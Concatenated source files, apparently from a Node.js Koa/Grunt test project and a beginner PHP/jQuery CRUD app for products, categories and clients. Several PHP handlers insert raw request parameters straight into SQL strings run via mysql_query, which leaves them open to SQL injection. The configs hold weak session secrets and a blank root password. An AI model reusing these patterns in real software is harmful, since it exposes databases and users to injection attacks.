src: ['font/**', 'image/**', 'swf/**'],
dest: 'static/dist/'
}
},
version: {
main: {
// 需要生成带hash号的资源
resources: {
cwd: path.join(__dirname, 'static/dist/'),
pattern: 'image/**/*.*'
},
// 需要替换资源为带版本号资源的文件
refs: {
cwd: path.join(__dirname, 'static/dist/'),
pattern: 'css/**/*.css'
}
}
},
// upload to qiniu cdn
qiniu: {
deploy: {
options: {
accessKey: config.qiniu.accessKey,
secretKey: config.qiniu.secretKey,
bucket: config.qiniu.bucket,
domain: config.qiniu.domain,
resources: [
{
cwd: 'static/dist',
pattern: '**/*.*'
}
]
}
}
}
});
grunt.loadNpmTasks('grunt-contrib-uglify');
grunt.loadNpmTasks('grunt-contrib-less');
grunt.loadNpmTasks('grunt-contrib-watch');
grunt.loadNpmTasks('grunt-contrib-clean');
grunt.loadNpmTasks('grunt-contrib-copy');
grunt.loadNpmTasks('grunt-cmd-transport');
grunt.loadNpmTasks('grunt-cmd-concat');
grunt.loadNpmTasks('grunt-seajs-config');
grunt.loadNpmTasks('grunt-qiniu-deploy');
grunt.loadTasks('build/task');
// 默认任务
grunt.registerTask('default', ['watch']);
grunt.registerTask('buildJs', ['clean:js', 'transport', 'concat', 'uglify', 'seajsConfig', 'clean:js']);
grunt.registerTask('buildCss', ['less']);
grunt.registerTask('build', ['clean:build', 'buildJs', 'buildCss', 'copy', 'assetsMap', 'version', 'qiniu']);
}<file_sep>/static/js/seajs_config.js
/**
* Author: chenboxiang
* Date: 14-3-27
* Time: 下午8:19
*/
seajs.config({
alias: {
}
})<file_sep>/bin/server.js
#!/usr/bin/env node
var program = require('commander');
program
.version('1.0.0')
.usage('<start|stop|restart>')
program.parse(process.argv);<file_sep>/static/js/business/hw.js
/**
* Author: chenboxiang
* Date: 14-3-26
* Time: 下午3:22
*/
"use strict";
define(function(require, exports, module) {
module.exports = function() {
console.log("say hello12121");
}
})<file_sep>/controller/index.js
/**
* Author: chenboxiang
* Date: 14-1-26
* Time: 下午2:38
*/
'use strict';
var User = require('../model/user');
var db = require('koa-db');
var parse = require('co-busboy');
var fs = require('fs');
var dao = db.dao;
var logger = G.logger;
var path = require('path');
var saveTo = require('save-to');
module.exports = function(app) {
app.get('/', function *(next) {
logger.info('index page');
this.session.name = 'koa-redis';
var user = new User({
email: '<EMAIL>',
emailChecked: true
});
yield dao.trans(function *(t) {
yield dao.select(User, {email: '<EMAIL>'}, t).forUpdate();
yield dao.insert(user, t);
yield dao.update(user, t);
yield dao.del(user, t);
})
// var user = yield dao.select(User, 1);
yield* this.render('index')
})
app.get('/todo', function *() {
yield* this.render('index', {
user: {id: 1}
})
})
app.post('/file/upload', function *(next) {
// the body isn't multipart, so busboy can't parse it
if (!this.request.is('multipart/*')) return yield* next;
var parts = parse(this, {
autoFields: true
});
var part;
while (part = yield parts) {
yield saveTo(part, path.join(process.cwd(), 'test.jpg'));
}
// console.log(parts.field);
// console.log(parts.fields);
this.body = {code: 200};
})
}<file_sep>/co_test/generator_test.js
/**
* Author: chenboxiang
* Date: 14-4-17
* Time: 下午12:43
*/
"use strict";
//function delay(time, callback) {
// setTimeout(function() {
// if (typeof callback === "function") {
// callback("Sleep for " + time);
// }
// }, time);
//
// return time;
//}
//
//function *myDelayedMessages(resume) {
// console.log(yield delay(1000, resume));
// console.log(yield delay(1200, resume));
//}
//
//function run(generatorFunction) {
// var generatorItr = generatorFunction(resume);
//
// function resume(callbackValue) {
// console.log(generatorItr.next(callbackValue));
// }
//
// console.log("xx", generatorItr.next());
//}
//
//run(myDelayedMessages);
//var generatorItr = myDelayedMessages();
//console.log(generatorItr.next());
//console.log(generatorItr.next());
//console.log(generatorItr.next());
//function* genFunc () {
// console.log(yield 1)
// console.log(yield 2)
//}
//var gen = genFunc()
//console.log(gen.next()) // 此时generator内部执行到 yield 1 并暂停,但还未对result赋值!
//// 即使异步也可以!
//setTimeout(function () {
// gen.next(123) // 给result赋值并继续执行,输出: 123
//}, 1000)
function *example() {
console.log("he", yield 'he');
var hello = yield 'hello';
console.log("he", hello);
var world = yield 'world';
console.log("world", world);
}
var gen = example();
var ret = gen.next();
//try {
ret = gen.throw(new Error("throw error"));
//} catch (err) {
// console.log("error", err);
//}
console.log(ret);
//ret = gen.next(ret.value);
//console.log(ret);
////ret = gen.next();
////console.log(ret);
//ret = gen.next(ret.value);
//console.log(ret);<file_sep>/lib/constants.js
/**
* Author: chenboxiang
* Date: 14-1-29
* Time: 下午3:33
*/
"use strict";
module.exports = {
};<file_sep>/build/config/development.js
/**
* Author: chenboxiang
* Date: 14-5-24
* Time: 下午12:15
*/
'use strict';
module.exports = {
lessModifyVars: {
staticUrl: '"/"'
},
qiniu: {
accessKey: <KEY>',
secretKey: '<KEY>',
bucket: 'chenboxiang',
domain: 'http://{bucket}.qiniudn.com'
}
}<file_sep>/cluster_test/master.js
/**
* Author: chenboxiang
* Date: 14-5-2
* Time: 上午11:56
*/
'use strict';
var cp = require('child_process');
require('cluster');
var cpus = require('os').cpus();
var server = require('net').createServer();
server.listen(3000);
var workers = {};
function createWorker() {
var worker = cp.fork(__dirname + '/worker.js');
worker.on('exit', function() {
console.log('Worker ' + worker.pid + ' exited.');
delete workers[worker.pid];
})
worker.send('server', server);
workers[worker.pid] = worker;
console.log('Create worker, pid: ' + worker.pid);
}
for (var i = 0; i < cpus.length; i++) {
createWorker();
}
process.on('exit', function() {
Object.keys(workers).forEach(function(pid) {
workers[pid].kill();
})
})<file_sep>/app.js
/**
* Author: chenboxiang
* Date: 14-4-18
* Time: 下午5:23
*/
'use strict';
var path = require('path');
var http = require('http');
var koa = require('koa');
var middlewares = require('koa-middlewares');
var _ = require('lodash');
var async = require('async');
var Loader = require('loader');
var config = require('./config/' + (process.env.NODE_ENV || 'development'));
var logger = require('tracer').console(config.log);
var fs = require('fs');
var crypto = require('crypto')
// 全局对象
global.G = {};
G.logger = logger;
// -- 初始化数据库 -----------------------
var mysqlIsInit = false;
// TODO 需在测试环境确认mysql未启动的情况是否会报错
var initMysqlConnectionPool = function(callback) {
var db = require('koa-db');
config.db.pool.afterCreate = function(connection, cb) {
if (!mysqlIsInit) {
logger.info('Mysql connection pool init success!');
mysqlIsInit = true;
callback();
}
cb(null, connection);
}
db.buildDao(_.extend({name: "def"}, config.db));
}
// -- new app instance ----------------
var app = new koa();
require('koa-trace')(app)
app.debug()
app.keys = config.keys;
// -- 加载中间件 ------------------------
var useMiddlewares = function(callback) {
app.use(function* (next) {
try {
yield next;
} catch (err) {
logger.error(err);
this.status = err.status || 500;
this.body = err.message || require('http').STATUS_CODES[this.status];
this.app.emit('error', err, this);
}
});
// response time trace
app.use(middlewares.rt());
// static file
var serve = require('koa-static');
app.use(serve(path.join(__dirname, config.staticDir), config.static));
// logger
app.use(middlewares.logger());
app.use(function* (next) {
// give each request some sort of ID
this.id = crypto.randomBytes(12)
// log events with optional arguments
this.trace('start')
yield* next
this.trace('finish')
})
app.use(function* (next) {
this.trace('something', 1, 2, 3)
yield* next
})
// session
var redisStore = new middlewares.redisStore(config.session.redisStore);
redisStore.on('connect', function() {
logger.info('Redis store is connected!');
callback(null);
})
redisStore.on('disconnect', function() {
logger.error('Redis store is disconnected!');
callback(new Error('Redis store is disconnected!'));
})
app.use(middlewares.session({
store: redisStore,
cookie: config.session.cookie
}))
// body parser
app.use(middlewares.bodyParser());
// router
app.use(middlewares.router(app));
require('koa-router-namespace')(app);
// view engine
var assetsMap = {};
if (config.assets.combo) {
try {
assetsMap = JSON.parse(fs.readFileSync(path.join(__dirname, 'static/dist/assets.json')));
} catch (e) {
logger.error('You must execute `make build` before start app when mini_assets is true.');
throw e;
}
}
var middlewareEjs = require('./middleware/ejs');
middlewareEjs(app, {
root: path.join(__dirname, 'view'),
cache: app.env !== 'development',
ext: '.html',
locals: {
config: config,
Loader: Loader,
assetsMap: assetsMap
}
});
//app.use(middlewares.conditional());
//app.use(middlewares.etag());
//app.use(middlewares.compress());
//middlewares.csrf(app);
}
app.on('error', function (err, ctx) {
err.url = err.url || ctx.request.url;
logger.error(err);
});
// -- 启动服务器 -------------------------
async.parallel(
[initMysqlConnectionPool, useMiddlewares],
function(err) {
if (!err) {
// -- 加载路由配置信息 -------------------------
require('./routes')(app);
app.emit('ready');
} else {
app.emit('startError', err);
}
}
);
if (module.parent) module.exports = app;
<file_sep>/build/task/assets_map.js
/**
* Author: chenboxiang
* Date: 14-5-25
* Time: 下午2:55
*/
'use strict';
module.exports = function(grunt) {
var path = require('path');
var fs = require('fs');
var Loader = require('loader');
var cwd = process.cwd();
grunt.registerTask('assetsMap', 'generate assets.json', function() {
// 视图目录
var viewsDir = path.join(cwd, './view');
// 资源目录
var baseDir = path.join(cwd, './static/dist');
// scan views folder, get the assets map
var scanned = Loader.scanDir(viewsDir);
grunt.log.ok('Scaned.');
// combo?md5 hash
var minified = Loader.minify(baseDir, scanned);
grunt.log.ok(JSON.stringify(minified, null, 4));
grunt.log.ok('Compile static assets done.');
// write the assets mapping into assets.json
var assets = path.join(baseDir, 'assets.json');
grunt.log.ok('assets.json is here: ' + assets);
fs.writeFileSync(assets, JSON.stringify(Loader.map(minified)));
grunt.log.ok('write assets.json done. assets.json: ');
grunt.log.ok(fs.readFileSync(assets, 'utf-8'));
})
}<file_sep>/cluster_test/master_pm.js
/**
* Author: chenboxiang
* Date: 14-5-3
* Time: 下午12:08
*/
'use strict';
var pm = require('pm');
var master = pm.createMaster();
master.on('giveup', function (name, fatals, pause) {
console.log('[%s] [master:%s] giveup to restart "%s" process after %d times. pm will try after %d ms.',
new Date(), process.pid, name, fatals, pause);
});
master.on('disconnect', function (name, pid) {
// console.log('%s %s disconnect', name, pid)
var w = master.fork(name);
console.error('[%s] [master:%s] worker:%s disconnect! new worker:%s fork',
new Date(), process.pid, pid, w.process.pid);
});
master.on('fork', function (name, pid) {
console.log('[%s] [master:%s] new %s:worker:%s fork',
new Date(), process.pid, name, pid);
});
master.on('quit', function (name, pid, code, signal) {
console.log('[%s] [master:%s] %s:worker:%s quit, code: %s, signal: %s',
new Date(), process.pid, name, pid, code, signal);
});
master.register('web', __dirname + '/worker_pm.js', {
listen: 3000
});
master.dispatch();<file_sep>/config/development.js
'use strict';
module.exports = {
// session
session: {
secret: 'koa test',
redisStore: {
host: 'localhost',
port: '6379',
db: 0,
// session过期时间: 4hour
ttl: 14400,
prefix: 'sess:'
},
cookie: {
signed: false
}
},
keys: ['koa', 'test'],
log: {
format: [
// 产品环境需去掉file和line以提高性能
'{{timestamp}} <{{title}}> {{file}}:{{line}} {{message}}', //default format
{
error: '{{timestamp}} <{{title}}> {{file}}:{{line}} {{message}} \nCall Stack:\n{{stack}}' // error format
}
],
dateformat: 'yyyy-mm-dd HH:MM:ss.l "GMT"o',
level: 'debug'
},
db: {
client: 'mysql',
connection: {
host: '127.0.0.1',
port: '3306',
user: 'root',
password: '',
database: 'zhanguoce',
// When dealing with big numbers (BIGINT and DECIMAL columns) in the database, you should enable this option
supportBigNumbers: true,
// Enabling both supportBigNumbers and bigNumberStrings forces big numbers (BIGINT and DECIMAL columns)
// to be always returned as JavaScript String objects (Default: false).
// Enabling supportBigNumbers but leaving bigNumberStrings disabled will return big numbers as String objects
// only when they cannot be accurately represented with JavaScript Number objects (which happens when they exceed the [-2^53, +2^53] range),
// otherwise they will be returned as Number objects. This option is ignored if supportBigNumbers is disabled
bigNumberStrings: true,
debug: false
},
pool: {
min: 2,
max: 50,
// boolean that specifies whether idle resources at or below the min threshold
// should be destroyed/re-created. optional (default=true)
refreshIdle: true,
// max milliseconds a resource can go unused before it should be destroyed
// (default 30000)
idleTimeoutMillis: 60 * 60 * 1000,
// frequency to check for idle resources (default 1000)
reapIntervalMillis: 60 * 1000,
// true/false or function -
// If a log is a function, it will be called with two parameters:
// - log string
// - log level ('verbose', 'info', 'warn', 'error')
// Else if log is true, verbose log info will be sent to console.log()
// Else internal log messages be ignored (this is the default)
log: false
},
debug: true
},
port: 3000,
// 静态资源缓存
'static': {
maxage: 0
},
staticDir: 'static',
assets: {
combo: false,
url: ''
}
};<file_sep>/static/js/sea-modules/chenboxiang/seajs-nocache/1.0.0/seajs-nocache-debug.js
(function() {
// copy from https://github.com/seajs/seajs/issues/264#issuecomment-20719662
var TIME_STAMP = "?t=" + new Date().getTime()
seajs.on("fetch", function(data) {
if (data.uri) {
data.requestUri = data.uri + TIME_STAMP
}
})
seajs.on("define", function(data) {
if (data.uri) {
data.uri = data.uri.replace(TIME_STAMP, "")
}
})
define("chenboxiang/seajs-nocache/1.0.0/seajs-nocache-debug", [], {});
})(); | 4610eeb75ef3165232d01c214e982bc0ccc78144 | [
"JavaScript"
] | 24 | JavaScript | chenboxiang/koa-test | 0019ee01f13293bc35741e7eacf354ce8e336430 | 1cfd5b4a2ed2538571b05107a54de1220f65501b | |
refs/heads/master | <file_sep>
class MyString:
def __init__(self, mStr):
self.mStr = mStr
self.mLen = len(mStr)
## abcab 5
## ab 2
def lastoccurenceof(self,subStr):
k = len(subStr)
res = -1
for i in range(self.mLen - k+1):
if self.mStr[i:i+k] == subStr:
res = i
return res
def main():
s = MyString("abcab")
ans = s.lastoccurenceof("ab")
print(ans)
main()<file_sep>def increasingList(N):
def helper(lastElem, subres, index):
if lastElem >= 5:
print(subres[:])
res.append(subres[:])
return
i = 0
while 2**i + lastElem <= N:
subres.append(2**i + lastElem)
helper(2**i + lastElem,subres, i+1)
subres.pop()
i += 1
res = []
subres = []
helper(-1,[],0)
return res
increasingList(5)<file_sep># 给一个矩阵,寻找Manhattan 距离最短的X和Y
# input:
# X O O O
# O O X Y
# O X O Y
# (p1, p2) = |p2.x – p1.x| + |p2.y – p1.y|.
def manhattanXYDist(grid):
if not grid or not grid[0]:
return
rows = len(grid)
cols = len(grid[0])
qX = []
qY = []
count = 0
deltaX = [0,0,-1,1]
deltaY = [-1,1,0,0]
for i in range(rows):
for j in range(cols):
if grid[i][j] == 'X':
qX.append(i)
qY.append(j)
while qX and qY:
tempX = qX
tempY = qY
qX = []
qY = []
count += 1
while tempX and tempY:
curX = tempX.pop(0)
curY = tempY.pop(0)
for i in range(4):
nbX = curX + deltaX[i]
nbY = curY + deltaY[i]
if 0 <= nbX < rows and 0<=nbY < cols:
if grid[nbX][nbY] == '0':
grid[nbX][nbY] = count
if grid[nbX][nbY] == 'Y':
return count
qX.append(nbX)
qY.append(nbY)
return -1
grid = [['X','0','X','0'],
['0','0','0','0'],
['0','0','0','Y']]
print(manhattanXYDist(grid))
<file_sep>## 1
## 2 3
## 4 5
class TreeNode:
def __init__(self,val):
self.val = val
self.left, self.right = None, None
def isCompleteBT(root):
if not root:
return True
q = [root]
isNonFullNodeOccurs = False
count =0
while q:
count +=1
node = q.pop(0)
if node.left:
if isNonFullNodeOccurs:
return False
q.append(node.left)
else:
isNonFullNodeOccurs = True
if node.right:
if isNonFullNodeOccurs:
return False
q.append(node.right)
else:
isNonFullNodeOccurs = True
return True
def main():
node1 = TreeNode(1)
node2 = TreeNode(2)
node3 = TreeNode(3)
node4 = TreeNode(4)
node1.left = node2
node1.right = node3
node2.right = node4
print(isCompdleteBT(node1))
main()
<file_sep>## whaaaaaat => what
def deleteDuplicateLetter(word):
if not word:
return word
lastElem = word[0]
count =1
res = ''
for ch in word[1:]:
if lastElem == ch:
count += 1
else:
res = res + lastElem
lastElem = ch
res = res + lastElem
return res
def main():
nw = deleteDuplicateLetter("whaaaaaat")
print(nw)
main()
<file_sep>class TreeNode():
def __init__(self, val):
self.val = val
self.children = []
def getMaxSpreadTime():
def getMaxSpreadTimeHelper(node):
if not node:
return 0
res = 0
for child in node.children:
if child not in visited:
tempSum = getMaxSpreadTimeHelper(child)
if tempSum > res :
res = tempSum
visited.add(res)
return res + node.val
visited = set()
root = TreeNode(0)
node1 = TreeNode(1)
node2 = TreeNode(2)
node3 = TreeNode(3)
node4 = TreeNode(4)
node5 = TreeNode(5)
node6 = TreeNode(6)
root.children = [node1,node2, node3,node4]
node2.children=[node5,node6]
return getMaxSpreadTimeHelper(root)
print(getMaxSpreadTime())
<file_sep>import random
def matrix55():
matrix = [[random.randint(0,100) for _ in range(5)] for _ in range(5)]
print(matrix)
matrix55()<file_sep>## aaaabbbbbbc => 4xa6xb1xc
def encodeMultipleChar(input):
if not input:
return input
lastElem = '#'
count = 0
res = []
sub = ''
for i, item in enumerate(input):
if lastElem == '#':
lastElem = item
count = 1
else:
if lastElem != item:
sub = str(count) + 'x' + lastElem
res.append(sub)
count = 1
lastElem = item
else:
count += 1
res.append(str(count) + 'x' + lastElem)
return "".join(res)
# print(encodeMultipleChar("aaaabbbbbb"))
def decodeMultipleChar(input):
if not input:
return input
count = 0
alpha = '#'
res = []
for item in input:
if item == 'x':
continue
elif item.isdigit():
count = int(item)
elif item.isalpha():
alpha = item
res += [item]*count
return "".join(res)
print(decodeMultipleChar( encodeMultipleChar("a")))
<file_sep>import heapq
import collections
def rearrangeString(words, k):
if not words:
return ""
wlen = len(words)
if k > wlen:
return ""
wordsCount = {}
heap = []
for w in words:
wordsCount[w] = wordsCount.get(w, 0) + 1
for w,c in wordsCount.items():
heapq.heappush(heap, (-c, w))
res = ""
while heap:
count = min(k,wlen) ## wlen can be used to keep track of the remaining unasigned word
used = []
for i in range(count):
if not heap: ## if we didn't assign the k number then there is no word in heap. that means the min part number can't be accoimplished
break
curCount, curWord = heapq.heappop(heap)
res = res + curWord
if -curCount >1:
used.append((curCount + 1, curWord))
wlen -= 1
for item in used:
heapq.heappush(heap, item)
return res
# def rearrangeString2(words, k):
# _len = len(words)
# words_count = collections.Counter(words)
# que = []
# heapq.heapify(que)
# for w, v in words_count.items():
# heapq.heappush(que, (-v, w))
# res = ""
# while que:
# cnt = min(_len, k)
# used = []
# for i in range(cnt):
# if not que:
# return ""
# v, w = heapq.heappop(que)
# res += w
# if -v > 1:
# used.append((v + 1, w))
# _len -= 1
# for use in used:
# heapq.heappush(que, use)
# return res
print(rearrangeString("aaadbbcc",3))
<file_sep>import math
class ListNode:
def __init__(self, val, next = None):
self.val = val
self.next = next
def reverseHalfLinkedList(head):
if not head:
return head
if not head.next:
return head
## get total number of node
cur = head
count = 0
while cur != None:
cur = cur.next
count += 1
## the cur will finally point to the None
if count == 2:
return head
dummy = left = ListNode(-1)
dummy.next = head
## move to the half point
half = math.ceil(count/2)
for _ in range(half):
left = left.next
## reverse
cur = left.next
prev = None
nxt = None
while cur != None:
nxt = cur.next
cur.next = prev
prev = cur
cur = nxt
left.next.next = cur
left.next = prev
return dummy.next
def printLinkedList(head):
while head != None:
print(head.val)
head = head.next
def main():
node5 = ListNode(5)
node4 = ListNode(4,node5)
node3 = ListNode(3,node4)
node2 = ListNode(2,node3)
# node2 = ListNode(2)
node1 = ListNode(1,node2)
# printLinkedList(node1)
head = reverseHalfLinkedList(node1)
printLinkedList(head)
main()
<file_sep>## 写一个函数把一个数组按第k个index的数进行排列,变成小于arr[k],等于arr[k],大于arr[k]的三部分。
def partitionArrayWithK(nums, k):
if not nums:
return []
pivot = nums[k]
l = 0
r = len(nums)-1
while l<= r :
while l<=r and nums[l] < pivot:
l += 1
while l<=r and nums[r] >= pivot:
r -= 1
if l <= r :
nums[l], nums[r] = nums[r], nums[l]
l += 1
r -=1
r = len(nums) - 1
while l<= r :
while l<=r and nums[l] == pivot:
l += 1
while l<=r and nums[r] != pivot:
r -= 1
if l <= r :
nums[l], nums[r] = nums[r], nums[l]
l += 1
r -=1
print(nums)
return nums
nums1 = [6,7,8,1,3, 0,2,0,1,2,0,1,2,3,4,5,6]
partitionArrayWithK(nums1, 4)
| 3c56c798f7d1d6e91fd43a6e35419aa7a9433c60 | [
"Python"
] | 11 | Python | QiaoranChelsea/AlgoPractice | 4d759ebea650e46860517a4628fcc3806ed91e66 | 311932244e630edbcaeb796ddd34093b974ff0d8 | |
refs/heads/master | <repo_name>vinicelms/word_counter<file_sep>/requirements.txt
Flask==0.12
Flask-RESTful==0.3.5
lxml==3.7.2
requests==2.12.4
beautifulsoup4==4.5.3<file_sep>/core/scraping.py
from urllib import request, parse
from lxml import html
from bs4 import BeautifulSoup
class Scraping():
def count_word(url, selected_word):
p = parse.urlparse(url)
if not p.scheme or not p.netloc:
raise ValueError("URL is not valid!")
if not selected_word:
raise ValueError("Word cannot be blank!")
html = request.urlopen(str(url)).read().decode("utf-8")
soup = BeautifulSoup(html, "html.parser")
for script in soup(["script", "style"]):
script.extract()
content = soup.get_text()
words = content.split()
word_quantity = 0
for word in words:
if word.lower() == selected_word.lower():
word_quantity += 1
return word_quantity<file_sep>/README.md
# Word Counter
API for the purpose of performing a data scraping on a page and returning a number of times that appears on the page.
The URL and a word are pre-informed through parameters entered in the API URL structure.
## Python version used: `3.6.0`
## Project requirements:
- Flask
- Flask-RESTful
- lxml
- requests
- beautifulsoup4
## How to use (install):
1 - Clone the project:
```sh
git clone https://github.com/vinicelms/word_counter.git
```
2 - Enter the project directory:
```sh
cd word_counter
```
3 - Create your Virtualenv `(optional, but recommended)`:
```sh
python -m venv .venv
```
4 - `(only if step 3 is used)` Activate your Virtualenv (Linux and Windows):
- Linux
```sh
source .venv/bin/activate
```
- Windows
```sh
.venv\Scripts\activate.bat
```
5 - Update Pip:
```sh
python -m pip install --upgrade pip
```
6 - Install the project requirements:
```sh
pip install -r requirements.txt
```
## How to use (API):
- Browser `(any operating system)`
```sh
127.0.0.1:5000/word_counter?url=https://docs.python.org/3/&word=python
```
- Linux (Terminal):
```sh
curl -X GET "127.0.0.1:5000/word_counter?url=https://docs.python.org/3/&word=python"
```
- Windows (Powershell):
```sh
Invoke-RestMethod -Uri "127.0.0.1:5000/word_counter?url=https://docs.python.org/3/&word=python"
```
> Powershell returns objects as PSObject, returning a key value pair with common tool formatting.
```sh
Powershell output formatting:
python
------
18
```
> For the Powershell output to be formatted in JSON:
```sh
Invoke-RestMethod -Uri "127.0.0.1:5000/word_counter?url=https://docs.python.org/3/&word=python" | ConvertTo-Json
```
## Important:
##### `The values entered can be changed if the page is changed or if you use another URL or word.`
## Error Handling:
- Calling the endpoint without parameters or without URL
```sh
{"error": "URL cannot be blank!"}
```
- Calling the endpoint without the word parameter
```sh
{"error": "Word cannot be blank!"}
```
- Calling the endpoint with some incorrect URL information
```sh
{"error": "URL is not valid!"}
```
## How to run tests (Unit Tests):
```sh
python -m unittest discover tests
```
- Expected return on tests:
```sh
Ran 9 tests in 0.724s
OK
```
> The runtime of the test may vary depending on factors of operating system, hardware features or miscellaneous settings<file_sep>/core/app.py
from flask import Flask, jsonify
from flask_restful import Resource, Api, reqparse
from scraping import Scraping
import json
app = Flask(__name__)
api = Api(app)
class Word_Counter(Resource):
def get(self):
parser = reqparse.RequestParser()
parser.add_argument('url', type=str)
parser.add_argument('word', type=str)
args = parser.parse_args()
url = args.get('url')
word = args.get('word')
word_counted = {}
if not url:
return jsonify({"error": "URL cannot be blank!"})
elif not word:
return jsonify({"error": "Word cannot be blank!"})
else:
try:
quantity = Scraping.count_word(url, word)
word_counted[str(word)] = quantity
except ValueError as url_error:
return jsonify({"error": str(url_error)})
return jsonify(word_counted)
api.add_resource(Word_Counter, '/word_counter')
if __name__ == "__main__":
app.run(debug=True)<file_sep>/tests/tests.py
import unittest
from core.scraping import Scraping
from core.app import *
import json
class WordCounterTestCase(unittest.TestCase):
def setUp(self):
self.tester = app.test_client(self)
def tearDown(self):
pass
def test_empty_parameters(self):
response = self.tester.get("/word_counter", content_type="html/text")
json_data = json.loads(response.get_data().decode("utf-8"))
self.assertEqual(json_data, {"error": "URL cannot be blank!"})
self.assertEqual(response.status_code, 200)
def test_url_parameter_empty(self):
response = self.tester.get("/word_counter?url=&word=python", content_type="html/text")
json_data = json.loads(response.get_data().decode("utf-8"))
self.assertEqual(json_data, {"error": "URL cannot be blank!"})
self.assertEqual(response.status_code, 200)
def test_word_parameter_empty(self):
response = self.tester.get("/word_counter?url=https://docs.python.org/3&word=", content_type="html/text")
json_data = json.loads(response.get_data().decode("utf-8"))
self.assertEqual(json_data, {"error": "Word cannot be blank!"})
self.assertEqual(response.status_code, 200)
def test_url_without_protocol(self):
response = self.tester.get("/word_counter?url=docs.python.org/3&word=python", content_type="html/text")
json_data = json.loads(response.get_data().decode("utf-8"))
self.assertEqual(json_data, {"error": "URL is not valid!"})
self.assertEqual(response.status_code, 200)
def test_correct_call(self):
response = self.tester.get("/word_counter?url=https://docs.python.org/3&word=python", content_type="html/text")
json_data = json.loads(response.get_data().decode("utf-8"))
self.assertEqual(json_data, {"python": 18})
class ScrapingTestCase(unittest.TestCase):
def setUp(self):
pass
def tearDown(self):
pass
def test_url_without_protocol(self):
with self.assertRaises(ValueError) as e:
Scraping.count_word("docs.python.org/3", "python")
excpetion_message = str(e.exception)
self.assertEqual(excpetion_message, "URL is not valid!")
def test_url_empty(self):
with self.assertRaises(ValueError) as e:
Scraping.count_word("", "python")
excpetion_message = str(e.exception)
self.assertEqual(excpetion_message, "URL is not valid!")
def test_word_empy(self):
with self.assertRaises(ValueError) as e:
Scraping.count_word("https://docs.python.org/3", "")
excpetion_message = str(e.exception)
self.assertEqual(excpetion_message, "Word cannot be blank!")
def test_correct_call(self):
response = Scraping.count_word("https://docs.python.org/3", "python")
self.assertEqual(response, int(18)) | 687f05b5dc455d5b31c43fb326feaca7cda72db3 | [
"Markdown",
"Python",
"Text"
] | 5 | Text | vinicelms/word_counter | 2413351e2a450178fb825722ba57f9c541c4add4 | 24b97e39c262c445079ebb5793e287be00b8469c | |
refs/heads/master | <file_sep><?php
include('conexao.php');
//CAPTURA OS DADOS DO FORMULÁRIO
$nomeCategoria = $_REQUEST[nomeCategoria];
$descricao = $_REQUEST[descricao];
//VALIDAÇÃO DE DADOS
if ($nomeCategoria == ''){
echo json_encode(array( 'retorno' => '<font color=red><b>Nome da categoria obrigatorio!</b></font>' ));
exit;
}
//MONTAGEM DO COMANDO SQL
$sql = "insert into categoria(nomeCategoria, descricao)
values('$nomeCategoria','$descricao')";
mysql_query($sql) or die();
echo json_encode(array( 'retorno' => 'Cadastro com sucesso!' ));
?>
<file_sep><?php
//Recordset para armazenar as categorias existentes
include('conexao.php');
$sql = "select -1 idCategoria, '--Escolha a categoria--' nomeCategoria
union
select idCategoria, nomeCategoria from categoria";
$rs = mysql_query($sql);
?>
<html>
<head>
<script type="text/javascript" src="js/jquery.form.js"></script>
<script type="text/javascript" src="js/jquery-ui-1.8.17.custom/js/jquery-1.7.1.min.js"></script>
<script>
function adicionaCliente(){
$.ajax({
type:"POST",
url:"clienteAction.php?acao=gravaCliente",
dataType:"json",
data:{nomeCliente:$("#txtNomeCliente").val(),
cpf:$("#txtCpf").val(),
telefone:$("#txtTelefone").val(),
sexo:$("#txtSexo").val() },
success: function(data, textStatus, request){
$("#retorno").html(data['retorno']);
}
});
}
function limpaForm(){
$("#retorno").html('');
$("#txtNomeCliente").val('');
$("#txtCpf").val('');
$("#txtTelefone").val('');
$("#txtSexo").val('');
$("#txtNomeCliente").focus();
}
function voltarInicio(){
window.location = "index.php";
}
</script>
</head>
<body>
<center><h3>Cadastro de Clientes</h3></center>
<hr>
<form>
<center>
<table>
<tr><td>Nome do Cliente:</td>
<td><input type='text' name='txtNomeCliente' id='txtNomeCliente'></td>
</tr>
<tr><td>Cpf:</td>
<td><input type='text' name='txtCpf' id='txtCpf'></td>
</tr>
<tr><td>Telefone:</td>
<td><input type='text' name='txtTelefone' id='txtTelefone'></td>
</tr>
<tr><td>Sexo:</td>
<td><input type='text' name='txtSexo' id='txtSexo'></td>
</tr>
<tr><td><input type="button" name="btnSalvar" id="btnSalvar"
value="Salvar" onClick="adicionaCliente()"></td>
<td><input type="button" name="btnLimpar" id="btnLimpar"
value="Limpar" onClick="limpaForm()"></td>
<td><input type="button" value="inicio" onClick="voltarInicio()"></td>
</tr>
</table>
<div name="retorno" id="retorno"></div>
</form>
</body>
</html><file_sep><?php
include('conexao.php');
//CAPTURA OS DADOS DO FORMULÁRIO
$nomeProduto = $_REQUEST[nomeProduto];
$idCategoria = $_REQUEST[categoria];
$preco = $_REQUEST[preco];
$estoque = $_REQUEST[estoque];
//VALIDAÇÃO DE DADOS
if ($nomeProduto == ''){
echo json_encode(array( 'retorno' => '<font color=red><b>Nome do produto obrigatório!</b></font>' ));
exit;
}
//VALIDAÇÃO DA CATEGORIA
if ($idCategoria == -1){
echo json_encode(array( 'retorno' => '<font color=red><b>Selecione uma categoria!</b></font>' ));
exit;
}
//MONTAGEM DO COMANDO SQL
$sql = "insert into produto(nomeProduto,idCategoria,preco,estoque)
values('$nomeProduto','$idCategoria','$preco','$estoque')";
mysql_query($sql) or die();
echo json_encode(array( 'retorno' => 'Cadastro com sucesso!' ));
?>
<file_sep><?
include("conexao.php");
//Captura do parâmetro de ação___________________________________________________________________________
$acao = $_REQUEST['acao'];
//Action para gravar cliente
if ($acao == 'gravaCliente'){
//CAPTURA OS DADOS DO FORMULÁRIO
$nomeCliente = $_REQUEST[nomeCliente];
$cpf = $_REQUEST[cpf];
$telefone = $_REQUEST[telefone];
$sexo = $_REQUEST[sexo];
//VALIDAÇÃO DE DADOS
if ($nomeCliente == ''){
echo json_encode(array( 'retorno' => '<font color=red><b>Nome do Cliente obrigatório!</b></font>' ));
exit;
}
//MONTAGEM DO COMANDO SQL
$sql = "insert into cliente(nomeCliente,cpf,telefone,sexo)
values('$nomeCliente','$cpf','$telefone','$sexo')";
mysql_query($sql) or die();
echo json_encode(array( 'retorno' => 'Cadastro com sucesso!' ));
}
//Action para editar cliente_____________________________________________________________________________
if ($acao == 'editaCliente'){
//CAPTURA OS DADOS DO FORMULÁRIO
$idCliente = $_REQUEST[idCliente];
$nomeCliente = $_REQUEST[nomeCliente];
$cpf = $_REQUEST[cpf];
